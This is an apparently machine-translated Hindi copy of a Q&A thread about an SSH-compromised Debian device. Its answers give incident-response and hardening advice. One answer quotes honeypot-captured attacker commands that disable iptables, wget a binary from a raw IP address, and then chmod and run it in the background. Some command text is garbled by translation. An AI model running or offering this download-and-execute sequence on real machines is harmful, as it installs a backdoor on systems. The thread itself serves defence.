यह उत्तर एक दृष्टिकोण दिखाता है जो एक प्रतिमान होना चाहिए: 1. असफल प्रयासों से अपना ध्यान हटाने न दें, सतर्क रहें। 2. हमलावर की सफल क्रियाओं का संकेत दिया। 3. हमलावर ने क्या और कैसे किया, इसका अध्ययन करें। 4. सभी खरोंच या पिछले अनियंत्रित (हमला) बैकअप से स्थापित करें, आपके द्वारा आवश्यक अतिरिक्त सुरक्षा को जोड़ते हुए (बिंदु 3)। 5. खुद की सुरक्षा के लिए दूसरों की मदद करें (समझौता / संदिग्ध आईपी की सूची)।
हस्त्तूर

11
[@MariusMatutiae द्वारा टिप्पणी के बाद कम किया गया] - फिर भी, ओपी को एहसास होना चाहिए कि एक समझौता प्रणाली पर, प्रत्येक निष्पादन योग्य को दुर्भावनापूर्ण माना जाना चाहिए, यहां तक ​​कि शेल ls, whoया कुछ और भी। समझौता किए गए सिस्टम (जैसे scpया rsync) पर किसी भी निष्पादन योग्य का उपयोग करके "बचाव डेटा" और भी अधिक मशीनों से समझौता कर सकता है।
डब

142

इंटरनेट पर आपका स्वागत है - जहां किसी भी खुले एसएसएच सर्वर को प्रोब, ब्रूट-मजबूर होने की संभावना है, और इस पर विभिन्न संकेत दिए गए हैं।

शुरू करने के लिए, आपको उत्पाद पर भंडारण को पूरी तरह से पोंछना होगा। यदि आप इसे फोरेंसिक के लिए पास करना चाहते हैं, तो इसे छवि दें, लेकिन इस पर लिनक्स इंस्टॉल अब संदिग्ध है।

अंदाजा थोड़ा लेकिन

  1. आप जानवर-आरोपित मिला या एक आम पासवर्ड का उपयोग करें। यह अस्पष्टता से सुरक्षा है, लेकिन आप डिक्शनरी पासवर्ड नहीं चाहते हैं या एसएसएच के लिए खुले रूट खाते का उपयोग नहीं करते हैं । यदि यह एक विकल्प है या कम से कम नाम बदल दें तो SSH रूट को अक्षम करें ताकि उन्हें दोनों का अनुमान लगाने की आवश्यकता हो। जड़ के रूप में SSHing किसी भी तरह भयानक सुरक्षा अभ्यास है। यदि आपको रूट का उपयोग करना है, तो दूसरे उपयोगकर्ता के रूप में लॉग इन करें और स्विच करने के लिए su या sudo का उपयोग करें।

  2. उत्पाद के आधार पर, आप किसी तरह से SSH पहुंच को बंद कर सकते हैं। कुल लॉक-डाउन एक अच्छे विचार की तरह लगता है, और उपयोगकर्ताओं को आवश्यकतानुसार इसे खोलने की अनुमति देता है । आप किन संसाधनों को छोड़ सकते हैं, इसके आधार पर, अपने स्वयं के सबनेट में केवल आईपी पते की अनुमति देने पर विचार करें, या किसी तरह का लॉगिन थ्रॉटलिंग सिस्टम। यदि आपको अंतिम उत्पाद पर इसकी आवश्यकता नहीं है, तो सुनिश्चित करें कि यह बंद है।

  3. एक गैर मानक बंदरगाह का उपयोग करें। अस्पष्टता से सुरक्षा फिर से, लेकिन इसका मतलब है कि एक हमलावर को आपके पोर्ट को लक्षित करने की आवश्यकता है।

  4. कभी भी डिफॉल्ट पासवर्ड का इस्तेमाल न करें। मैंने जो सबसे अच्छा तरीका देखा है, वह एक विशिष्ट उपकरण के लिए बेतरतीब ढंग से पासवर्ड बनाना और उसे अपने उत्पाद के साथ शिप करना है। सर्वश्रेष्ठ अभ्यास कुंजी आधारित प्रमाणीकरण है, लेकिन मुझे नहीं पता कि आप एक बड़े बाजार उत्पाद पर कैसे दृष्टिकोण करेंगे।


76
5. यदि संभव हो तो सार्वजनिक कुंजी का उपयोग करें। पासवर्ड ऑउटफिट दूर, कम सुरक्षित है।
बॉब

4
हाँ, लेकिन अगर इसका उपभोक्ता उपकरण है, तो यह एक विकल्प नहीं हो सकता है। एक देव बॉक्स पर, यह एक शानदार विचार की तरह लगता है। एक सर्वर पर, ठीक है, मैं इससे पहले हैक हो गया था; पी
यात्रा करने वाला

2
यदि यह उपभोक्ता डिवाइस है तो उन सभी पर एक ही यादृच्छिक पासवर्ड या कुंजी भी एक बुरा विचार है। जैसा कि इसके सीरियल नंबर, इसके मैक या अन्यथा पहचान योग्य जानकारी के आधार पर कुछ भी है। (कुछ जो कई सोहो मॉडेम / राउटर / वैप्स छूट गए लगते हैं)।
हेन्स

2
यह एक उपभोक्ता उपकरण है। हालांकि, लक्षित उपभोक्ता के अधिकांश हिस्से को यह जानने के लिए पर्याप्त शिक्षित नहीं किया जाएगा कि एसएसएच क्या है। तो SSH को बंद किया जा सकता है और सबसे अधिक संभावना है कि इसे बंद कर दिया जाएगा।
वैद

2
इसके अलावा, विफलता 2ban का उपयोग करें ।
शादुर

34

ओह, आप निश्चित रूप से हैक कर लिए गए हैं। ऐसा प्रतीत होता है कि कोई व्यक्ति क्रेडेंशियल हासिल करने में सक्षम है और आपके सिस्टम में ट्रोजन डाउनलोड करने का प्रयास किया गया है। MariusMatutiae ने पेलोड का विश्लेषण प्रदान किया।

दो सवाल उठते हैं: क) क्या हमलावर सफल था? और ख) आप इसके बारे में क्या कर सकते हैं?

पहले सवाल का जवाब एक नहीं हो सकता है। ध्यान दें कि हमलावर बार-बार पेलोड को डाउनलोड करने और चलाने की कोशिश करता है, जाहिरा तौर पर सफलता के बिना। मुझे संदेह है कि कुछ (SELinux, perchance?) उसके रास्ते में खड़ा था।

HOWEVER: हमलावर ने आपकी /etc/rc.d/rc.localफ़ाइल को भी बदल दिया , इस उम्मीद में कि जब आप अपना सिस्टम फिर से चालू करेंगे, तो पेलोड सक्रिय हो जाएगा। यदि आपने अभी तक सिस्टम को पुनरारंभ नहीं किया है, तब तक पुनरारंभ न करें जब तक कि आपने इन परिवर्तनों को हटा नहीं दिया है /etc/rc.d/rc.local। यदि आप पहले से ही इसे पुनः आरंभ कर चुके हैं ... अच्छी तरह से, कठिन भाग्य।

जैसा कि आप इसके बारे में क्या कर सकते हैं: सबसे सुरक्षित बात यह है कि सिस्टम को पोंछना और खरोंच से पुनर्स्थापित करना है। लेकिन यह हमेशा एक विकल्प नहीं हो सकता है। एक काफी कम सुरक्षित बात यह है कि वास्तव में जो हुआ है उसका विश्लेषण करें और यदि आप कर सकते हैं तो इसके हर निशान को मिटा दें। फिर से, यदि आपने अभी तक सिस्टम को पुनरारंभ नहीं किया है, तो शायद यह सब साफ है /etc/rc.d/rc.local, हमलावर द्वारा डाउनलोड की गई कुछ भी हटा दें, और अंतिम लेकिन कम से कम, डायन पासवर्ड को न बदलें!

हालांकि, अगर हमलावर पहले से ही पेलोड को चलाने में सक्षम था, तो आपके सिस्टम में अन्य संशोधन हो सकते हैं जो पता लगाना मुश्किल हो सकता है। यही कारण है कि एक पूर्ण पोंछ वास्तव में एकमात्र सुरक्षित (और अनुशंसित) विकल्प है। जैसा कि आपने संकेत दिया, प्रश्न में उपकरण एक परीक्षण / विकास लक्ष्य हो सकता है इसलिए शायद इसे पोंछना उतना दर्दनाक नहीं है जितना कि अन्य मामलों में हो सकता है।

अद्यतन : इसके बावजूद कि मैंने एक संभावित पुनर्प्राप्ति के बारे में क्या लिखा है, मैं इस पेलोड से होने वाले संभावित नुकसान को कम नहीं करने के लिए मारियसमैटुटिया की बहुत मजबूत सिफारिश करना चाहता हूं और इसने लक्ष्य प्रणाली से समझौता किया हो सकता है।


2
धन्यवाद। मैंने सिस्टम को मिटा देने का फैसला किया है। मैंने इसे एक दो बार फिर से शुरू किया लेकिन सिर्फ कुछ आवश्यक डेटा कॉपी करने के लिए। कोई बायनेरी, केवल स्रोत कोड नहीं। मुझे लगता है कि मैं अब बहुत सुरक्षित हूं।
वैद

उसी LAN पर अन्य बॉक्स के बारे में क्या?
WGroleau

अच्छा प्रश्न। प्रदान किया गया शेल इतिहास समान नेटवर्क पर अन्य बॉक्सों की खोज और समझौता करने के किसी भी प्रयास को इंगित नहीं करता है। अधिक आम तौर पर, अगर हमलावर एक बॉक्स में एसएसएच (रूट) का उपयोग करता है, तो इसका मूल रूप से मतलब है कि उसने किसी भी परिधि फायरवॉल को बायपास किया है। हालांकि, यह स्वचालित रूप से इसका मतलब यह नहीं है कि अन्य बक्से से समझौता किया जाता है: इसके लिए कुछ और की आवश्यकता होगी जैसे कि एक अप्रकाशित भेद्यता, बक्से के बीच साझा किए गए पासवर्ड, एक बॉक्स से दूसरे में ऑटो-लॉगिन, आदि
विक्टर टोथ

18

मेरे sshd-honeypot ने भी इस तरह का हमला देखा है। 2016-01-29 10:25:33 से उस URL के पहले डाउनलोड और हमले अभी भी जारी हैं। अटैक / से आ रहे थे

103.30.4.212
111.68.6.170
118.193.228.169

इन हमलावरों से इनपुट था:

सेवा iptables बंद करो
wget http://222.186.30.209:65534/yjz1
nohup / root / yjz1> / dev / null 2> & 1 &
chmod 0777 yjz1
chmod u + x yjz1
./yjz1 और
chmod u + x yjz1
./yjz1 और
सीडी / टीएमपी

इसलिए बाद के लिए पिछले दरवाजे को स्थापित करने के अलावा कोई गतिविधियां नहीं।


सहमत, यह वही एमओ है।
MariusMatutiae

1
@MariusMatutiae तो यह एक मैनुअल हैक तो नहीं है? यह किसी प्रकार का स्वयं फैलने वाला कीड़ा / वनस्पति है?
निकल

1
@NickG मेरा सबसे अच्छा अनुमान है कि यह मैनुअल हैक नहीं था। क्या संभावना है कि वैद एक ही कार्यालय में चीन स्थित बॉटनेट के प्रवर्तक के रूप में काम करता है? किसी ने अपनी मशीन में एक शोषक कमजोरी पाई, सबसे अधिक संभावना है कि एक कमजोर सुरक्षित ssh सर्वर, अपने पासवर्ड को क्रूरता से मजबूर कर दिया, पहुंच प्राप्त कर ली, अपने आप को सफलतापूर्वक स्थापित करने की कोशिश की। हालाँकि, मैं यह भी शर्त लगाऊंगा कि हमलावर लिनक्स के साथ विंडोज के साथ अधिक धाराप्रवाह है। लेकिन मेरे पास इसका कोई कठिन प्रमाण नहीं है , सिर्फ एक शिक्षित अनुमान है।
MariusMatutiae

12

यहां सभी ने ठोस सलाह दी है, लेकिन स्पष्ट होने के लिए, आपकी प्राथमिकताओं का समर्थन करना चाहिए और यह सत्यापित करना चाहिए कि आपको वास्तव में उस प्रणाली से क्या चाहिए, फिर इसे ज्ञात-सुरक्षित मीडिया से एक ताजा इंस्टॉल के साथ मिटा दें।

इससे पहले कि आप अपने नए स्थापित होस्ट को इंटरनेट से कनेक्ट करें, इन विचारों के माध्यम से चलाएं:

  1. एक नया गैर-रूट उपयोगकर्ता बनाएँ, और उस उपयोगकर्ता के रूप में लॉग इन करें। जरूरत पड़ने पर आपको कभी भी मूल, केवल sudo (स्थानापन्न उपयोगकर्ता करते) के रूप में लॉगिन करने की आवश्यकता नहीं होनी चाहिए।

  2. एसई लिनक्स स्थापित करें, कॉन्फ़िगरेशन सेटिंग्स जो अनिवार्य अभिगम नियंत्रण को सक्षम करती हैं: https://wiki.debian.org/SELinux/Setup

  3. अपने कार्यालय / घर और इंटरनेट के बीच एक हार्डवेयर फ़ायरवॉल पर विचार करें। मैं MicroTik का उपयोग करता हूं, जिसमें उत्कृष्ट सामुदायिक समर्थन है: http://routerboard.com/

यह मानते हुए कि आप अपने भुगतान किए गए कार्य को पूरा करने के लिए समय रेखा पर हैं, कम से कम # 1 करें। # 3 तेज, और सस्ता है, लेकिन आपको या तो मेल में पैकेज पर इंतजार करना होगा, या स्टोर पर ड्राइव करना होगा।


3
और, सबसे ऊपर, अपने पीसी को एक खुले रूट सत्र के साथ अप्राप्य नहीं छोड़ना चाहिए!
MariusMatutiae

11
  1. है डेबियन-armhf आपके होस्टनाम? या क्या आप डिफ़ॉल्ट सेटिंग्स के साथ एक डिफ़ॉल्ट इंस्टॉल का उपयोग करते हैं? इसके साथ कोई समस्या नहीं है, लेकिन आपको होस्ट को सीधे इंटरनेट के संपर्क में नहीं आने देना चाहिए (यानी आपके मॉडेम द्वारा संरक्षित नहीं, कम से कम)।

  2. ऐसा लगता है कि असली परेशानी 222.186.30.209 ( http://anti-hacker-alliance.com/index.php?ip=222.186.30.209 देखें ) से आ रही है । आपको Microsoft का IP देखने के लिए ज्यादा ध्यान नहीं देना चाहिए। IP आसानी से कम या ज्यादा फेक / स्पूफ हो सकते हैं।

  3. इंटरनेट से जुड़ने का एक सामान्य तरीका अपने सार्वजनिक आईपी (जैसे 8.8.8.8) से अपने स्थानीय (जैसे 192.168.1.12) बंदरगाहों की एक ज्ञात सूची को अग्रेषित करना है।

    • उदाहरण के लिए, सभी आवक कनेक्शनों को 8.8.8.8 (सार्वजनिक) से 192.168.1.12 (स्थानीय) पर अग्रेषित न करें ।

    • फॉरवर्ड केवल 22 और 25 पोर्ट (ssh और इनकमिंग मेल, क्रमशः)। आपको निश्चित रूप से, अप-टू-डेट ssh और smtp पैकेज / लाइब्रेरी भी चाहिए।

  4. आगे क्या होगा? होस्ट को डिस्कनेक्ट करें, और किसी भी पासवर्ड (संगठन से जुड़े किसी भी कंप्यूटर पर) को बदल दें, जो शेल स्क्रिप्ट (आप पर शर्म की बात है!) में हार्डकोड किया गया है /etc/shadow


1. हाँ डेबियन-आर्महफ़ होस्ट नाम है। 2. हाँ मैंने वह लेख पढ़ा है, और मैंने उनकी वेबसाइट cest.microsoft.com के माध्यम से Microsoft से संपर्क किया है। 3. मैंने केवल 25 और 22 को आगे बढ़ाया था, आगे कुछ और नहीं हुआ। 4. मैं ऐसा
करूंगा

"आईपी अधिक या कम आसानी से नकली हो सकता है": मैं एक सुरक्षा और न ही नेटवर्क विशेषज्ञ नहीं हूं। वो कैसे संभव है?
केविनरपे

@kevinarpe यह एक अलग सवाल के रूप में शायद बहुत बेहतर है।
बजे एक CVn


2
@ आर्चर: एसएसएच टीसीपी है; यदि संभव नहीं तो टीसीपी स्रोत आईपी को बनाना मुश्किल है। इसके अलावा, जैसा कि ऊपर स्थापित किया गया है, Microsoft IP उनकी क्लाउड सेवा Azure से संबंधित है, जिसका अर्थ है कि कोई भी दूसरों पर हमला करने के लिए सेवा पर समय खरीद सकता है।
nnonneo

9

जैसा कि दूसरों ने कहा, यह स्पष्ट है कि आपके सर्वर की सुरक्षा से समझौता किया गया है। सबसे सुरक्षित चीज इस मशीन को पोंछना और फिर से स्थापित करना है।

आपके प्रश्न के दूसरे भाग का उत्तर देने के लिए, यदि आप सार्वजनिक कुंजी का उपयोग नहीं कर सकते हैं, तो मैं कम से कम Fail2Ban स्थापित करने और गैर-मानक पोर्ट पर SSH चलाने की सलाह देता हूं। मैं रूट एसएसएच एक्सेस को भी अक्षम करता हूं।

Fail2Ban एक निश्चित संख्या में लॉग इन करने में विफल रहने वाले IP पतों पर प्रतिबंध लगाकर क्रूर-बल के हमलों को कम करने में मदद करेगा।

गैर-मानक पोर्ट पर सुनने के लिए sshd सेट करने से कम से कम आपके SSH सर्वर की दृश्यता को कम करने में मदद मिलेगी। रूट लॉगऑन को अक्षम करना भी हमले की प्रोफ़ाइल को थोड़ा कम करता है। इन /etc/sshd_config:

PermitRootLogin no
Port xxxxx

रूट लॉगिन डिसेबल के साथ आपको या तो suकनेक्ट होने के बाद रूट करने की आवश्यकता होगी , या sudoविशेषाधिकार प्राप्त कमांड्स को निष्पादित करने के लिए (अधिमानतः) उपयोग ।


मैंने उन दोनों को किया है, सलाह के लिए धन्यवाद।
वैद

8

SSH सर्वर इंटरनेट पर लगातार हमले कर रहे हैं। कुछ चीज़ें जो आप करते हैं:

  1. सुनिश्चित करें कि आप इंटरनेट एक्सेस मशीनों के लिए एक बहुत ही सुरक्षित यादृच्छिक पासवर्ड का उपयोग करें। मेरा मतलब 16 पात्रों या अधिक और पूरी तरह से यादृच्छिक की तरह है। एक पासवर्ड प्रबंधक का उपयोग करें ताकि आपको इसे याद न करना पड़े। यदि आप अपना पासवर्ड याद कर सकते हैं, तो यह बहुत आसान है।

  2. यदि आपको SSH की आवश्यकता नहीं है, तो इसे बंद कर दें। यदि आपको इसकी आवश्यकता है, लेकिन इसे सार्वजनिक रूप से सुलभ होने की आवश्यकता नहीं है, तो इसे एक उच्च, गैर-मानक पोर्ट नंबर पर चलाएं। ऐसा करने से नाटकीय रूप से हैक प्रयास कम हो जाएंगे। हाँ एक समर्पित हैकर एक पोर्ट स्कैन कर सकता है, लेकिन स्वचालित बॉट उसे नहीं मिलेगा।

आपके सामान्य लॉग से स्निपेट विफल प्रयास दिखाता है। हालाँकि यदि आप आगे देखते हैं तो आपको कोई संदेह नहीं होगा कि एक सफल लॉगिन दिखाई देगा। यह आप एक साधारण पासवर्ड का उपयोग करते हैं, तो यह एक बॉट के लिए तुच्छ है।

आपको इस मशीन को नेटवर्क से अलग करना होगा। बहुत सावधानी से प्राप्त करें कि आपको इसकी आवश्यकता क्या है, और फिर इसे मिटा दें।


7
जब मैं पोर्ट 22 पर ssh चलाता था, तो मैं आमतौर पर प्रति दिन हजारों हैक प्रयास करता था। जब मैं एक उच्च बंदरगाह संख्या (50000 से अधिक) में बदल गया तो ये हैक प्रयास पूरी तरह से बंद हो गए।
user1751825

16 वर्ण पर्याप्त सुरक्षित नहीं है। उपयोगकर्ता लॉग आउट भी आसान है। बस इसे एक परमिट लॉकआउट न बनाएं, इसे समाप्त करें, लेकिन इसे एक घंटे की तरह बनाएं। इस तरह आप अभी भी सर्वर तक पहुँच सकते हैं।
रामहुंड

ध्यान दें कि चरण 2) सुरक्षा के लिए कड़ाई से आवश्यक नहीं है, जब तक आपके पास मजबूत प्रमाणीकरण (सार्वजनिक कुंजी, या एक मजबूत पासवर्ड) है।
user20574

2
@ रामदूत क्यों नहीं? यहां तक ​​कि अगर यह केवल लोअरकेस अक्षर था, तो 16 लोअरकेस अक्षर 43608742899428874059776 संभावनाएं देता है, जो कि जानवर-बल के लिए अव्यावहारिक है, विशेष रूप से एक ऑनलाइन जानवर-बल के लिए जहां सर्वर आपको प्रतीक्षा करने के लिए हर बार प्रयास विफल कर देता है।
user20574

3
@ user20574। जबकि कड़ाई से आवश्यक नहीं है, एसएसएच सेवा की दृश्यता को कम करना अभी भी बहुत उपयोगी है। यहां तक ​​कि अगर आपके लॉग से अव्यवस्था को हटाने के अलावा और कोई कारण नहीं है। यदि एक मशीन को केवल लोगों के एक सीमित समूह तक ही पहुंचने की आवश्यकता है, तो सुरक्षा में सुधार करने के लिए एक गैर-मानक पोर्ट एक पूरी तरह से उचित कदम है।
user1751825

6

सामने वाले लिनक्स / यूनिक्स सर्वर को स्थापित करने के बाद किसी को भी सबसे पहले किसी को / सभी को तुरंत अक्षम करना होगा root

आपके सिस्टम से छेड़छाड़ की गई। आपके पास एक रनिंग हिस्ट्री लॉग है जो एक हद तक देखने के लिए शांत हो सकता है। लेकिन ईमानदारी से बारीकियों को अलग-थलग करना थोड़ा नाइट-पिकी है और आपको अपने सर्वर को सुरक्षित करने में मदद नहीं करेगा। यह सभी प्रकार की बकवास को दिखाता है जो तब होता है जब बॉटनेट ने मैलवेयर को जन्म दिया है - जो कि सबसे अधिक संभावना है जो आपके सर्वर को संक्रमित करता है - एक लिनक्स सिस्टम को संक्रमित करता है। @MariusMatutiae द्वारा प्रदान की जवाब अच्छा और सुविचारित है और वहाँ जो दूसरों को दोहराने है कि आप के माध्यम से काट दिया गया है rootपहुँच जो एक मैलवेयर / botnet के गीला सपना है।

अक्षम करने के तरीके के बारे में कुछ स्पष्टीकरण दिए गए हैं, rootलेकिन मैं व्यक्तिगत अनुभव से बताऊंगा, जो कुछ भी मैं अभी वर्णन करूंगा उससे परे चला जाता है। जब आप पहली बार सर्वर सेटअप करते हैं, तो आपको यही करना चाहिए :

  1. sudoअधिकारों के साथ एक नया उपयोगकर्ता बनाएं : एक नया उपयोगकर्ता एक नया नाम बनाएं - जैसे cooldudeकोई कमांड, जैसे sudo adduser cooldudeकि आप उबंटू या किसी अन्य प्रकार के डेबियन सिस्टम का उपयोग कर रहे हैं। फिर बस sudoइस तरह एक कमांड का उपयोग करके फ़ाइल को मैन्युअल रूप से संपादित करें sudo nano /etc/sudoersऔर cooldude ALL=(ALL:ALL) ALLउसके बराबर लाइन के नीचे एक पंक्ति जोड़ें जो पढ़ना चाहिए root ALL=(ALL:ALL) ALL। उस के साथ, के रूप में लॉगिन करें cooldudeऔर sudoकमांड का परीक्षण करें , sudo wजैसे- मूल और गैर-विनाशकारी-जैसे sudoअधिकार काम करते हैं। आपको पासवर्ड के लिए संकेत दिया जा सकता है। यह काम करता है? सब अच्छा! अगले चरण पर जाएँ।
  2. rootखाता लॉक करें : ठीक है, अब जो अधिकार के cooldudeसाथ चार्ज sudoहै, cooldudeरूट खाते को लॉक करने के लिए इस कमांड को लॉगिन करें और चलाएं sudo passwd -l root। यदि किसी तरह से आपने SSH कुंजी जोड़ी बनाई है, तो कुंजी rootखोलें /root/.ssh/authorized_keysऔर निकालें। या बेहतर अभी तक, SSH कुंजियों को प्रभावी रूप से अक्षम करने के लिए authorized_keys_OFF, इस तरह से उस फ़ाइल का नाम बदलें sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFF। मैं बाद में पसंद करता हूं क्योंकि ऑफ-हैंड मौका पर आपको अभी भी पासवर्ड कम लॉगिन की आवश्यकता होती है, आप बस उस फ़ाइल को मूल नाम पर वापस ले जा सकते हैं और आपको जाने के लिए अच्छा होना चाहिए।

FWIW, मैंने वर्षों (दशकों?) में दर्जनों लिनक्स सर्वर प्रबंधित किए हैं और अनुभव से जानते हैं कि rootकिसी भी उपयोगकर्ता को sudoअधिकारों के साथ स्थापित करने में अक्षम -और किसी भी लिनक्स सिस्टम को सुरक्षित करने का सबसे सरल और सबसे बुनियादी तरीका है। एक बार rootअक्षम होने के बाद मुझे कभी भी एसएसएच के माध्यम से किसी भी प्रकार के समझौते से निपटने की आवश्यकता नहीं है। और हाँ, आप के माध्यम से प्रवेश करने के प्रयास देख सकते हैं, auth.logलेकिन वे अर्थहीन हैं; अगर rootअक्षम है तो उन प्रयासों में कभी भी कुछ भी नहीं जोड़ा जाएगा। बस वापस बैठो और प्रयासों को अंतहीन असफल देखो!

हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.